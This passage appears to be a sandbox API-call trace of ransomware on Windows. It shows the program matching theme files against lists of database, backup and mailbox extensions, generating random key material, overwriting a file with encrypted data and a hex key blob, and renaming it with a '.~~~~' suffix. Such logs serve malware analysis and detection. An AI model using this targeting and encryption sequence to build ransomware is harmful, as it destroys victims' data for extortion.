	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.290] lstrlenW (lpString=".EDB") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.290] lstrlenW (lpString=".DACPAC") returned 7
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.290] lstrlenW (lpString=".VHD") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.290] lstrlenW (lpString=".DBV") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.290] lstrlenW (lpString=".dacpac") returned 7
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.291] lstrlenW (lpString=".sdf") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.291] lstrlenW (lpString=".accdb") returned 6
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.291] lstrlenW (lpString=".DBX") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.291] lstrlenW (lpString=".MDT") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.291] lstrlenW (lpString=".SQB") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.291] lstrlenW (lpString=".vhd") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.291] lstrlenW (lpString=".bac") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.291] lstrlenW (lpString=".mdf") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.291] lstrlenW (lpString=".BAK") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.291] lstrlenW (lpString=".BAC") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.291] lstrlenW (lpString=".dbs") returned 4
	[0083.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.292] lstrlenW (lpString=".vhdx") returned 5
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.292] lstrlenW (lpString=".NDF") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.292] lstrlenW (lpString=".dat") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.292] lstrlenW (lpString=".DBS") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.292] lstrlenW (lpString=".CKP") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.292] lstrlenW (lpString=".edb") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.292] lstrlenW (lpString=".PST") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.292] lstrlenW (lpString=".dbf") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.292] lstrlenW (lpString=".SQL") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.292] lstrlenW (lpString=".pst") returned 4
	[0083.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.293] lstrlenW (lpString=".dbv") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.293] lstrlenW (lpString=".SDF") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.293] lstrlenW (lpString=".dtxs") returned 5
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.293] lstrlenW (lpString=".db3") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.293] lstrlenW (lpString=".OST") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.293] lstrlenW (lpString=".dbx") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.293] lstrlenW (lpString=".DB3") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.293] lstrlenW (lpString=".DAT") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.293] lstrlenW (lpString=".VHDX") returned 5
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.293] lstrlenW (lpString=".ndf") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.293] lstrlenW (lpString=".DB") returned 3
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.293] lstrlenW (lpString=".sql") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.293] lstrlenW (lpString=".MYD") returned 4
	[0083.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.293] lstrlenW (lpString=".DBT") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.294] lstrlenW (lpString=".ACCDB") returned 6
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.294] lstrlenW (lpString=".fdb") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.294] lstrlenW (lpString=".bak") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.294] lstrlenW (lpString=".myd") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.294] lstrlenW (lpString=".DTXS") returned 5
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.294] lstrlenW (lpString=".ckp") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.294] lstrlenW (lpString=".dbt") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.294] lstrlenW (lpString=".db") returned 3
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.294] lstrlenW (lpString=".TXT") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.294] lstrlenW (lpString=".MDF") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.294] lstrlenW (lpString=".bdb") returned 4
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.294] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.295] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.296] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.296] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.296] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20328603698) returned 1
	[0083.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b7a2750, dwHighDateTime=0x1d60e1e)) 
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2138
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2138 | out: hHeap=0x300000) returned 1
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0083.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0083.297] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.343] GetLastError () returned 0x0
	[0083.344] GetLastError () returned 0x0
	[0083.344] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.344] GetLastError () returned 0x0
	[0083.344] GetLastError () returned 0x0
	[0083.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff9e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.346] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x618, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x618, lpOverlapped=0x0) returned 1
	[0083.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.346] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.347] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.347] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.347] CloseHandle (hObject=0x124) returned 1
	[0083.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4550
	[0083.347] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.~~~~")) returned 1
	[0083.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4550 | out: hHeap=0x300000) returned 1
	[0083.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.348] GetLastError () returned 0x0
	[0083.348] RtlWakeConditionVariable () returned 0x365f70
	[0083.348] GetCurrentThreadId () returned 0x3a4
	[0083.348] GetCurrentThreadId () returned 0x3a4
	[0083.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4608 | out: hHeap=0x300000) returned 1
	[0083.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2170 | out: hHeap=0x300000) returned 1
	[0083.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4608
	[0083.348] lstrlenW (lpString=".scr") returned 4
	[0083.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.348] lstrlenW (lpString=".cmd") returned 4
	[0083.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.348] lstrlenW (lpString=".dll") returned 4
	[0083.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.348] lstrlenW (lpString=".bat") returned 4
	[0083.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.348] lstrlenW (lpString=".cpl") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.349] lstrlenW (lpString=".sys") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.349] lstrlenW (lpString=".msc") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.349] lstrlenW (lpString=".com") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.349] lstrlenW (lpString=".lnk") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.349] lstrlenW (lpString=".msp") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.349] lstrlenW (lpString=".pif") returned 4
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.349] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.350] lstrlenW (lpString=".sqb") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.350] lstrlenW (lpString=".ost") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.350] lstrlenW (lpString=".txt") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.350] lstrlenW (lpString=".mdt") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.350] lstrlenW (lpString=".BDB") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.350] lstrlenW (lpString=".eql") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.350] lstrlenW (lpString=".DBF") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.350] lstrlenW (lpString=".EQL") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.350] lstrlenW (lpString=".FDB") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.350] lstrlenW (lpString=".EDB") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.350] lstrlenW (lpString=".DACPAC") returned 7
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.350] lstrlenW (lpString=".VHD") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.350] lstrlenW (lpString=".DBV") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.350] lstrlenW (lpString=".dacpac") returned 7
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.350] lstrlenW (lpString=".sdf") returned 4
	[0083.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.350] lstrlenW (lpString=".accdb") returned 6
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.351] lstrlenW (lpString=".DBX") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.351] lstrlenW (lpString=".MDT") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.351] lstrlenW (lpString=".SQB") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.351] lstrlenW (lpString=".vhd") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.351] lstrlenW (lpString=".bac") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.351] lstrlenW (lpString=".mdf") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.351] lstrlenW (lpString=".BAK") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.351] lstrlenW (lpString=".BAC") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.351] lstrlenW (lpString=".dbs") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
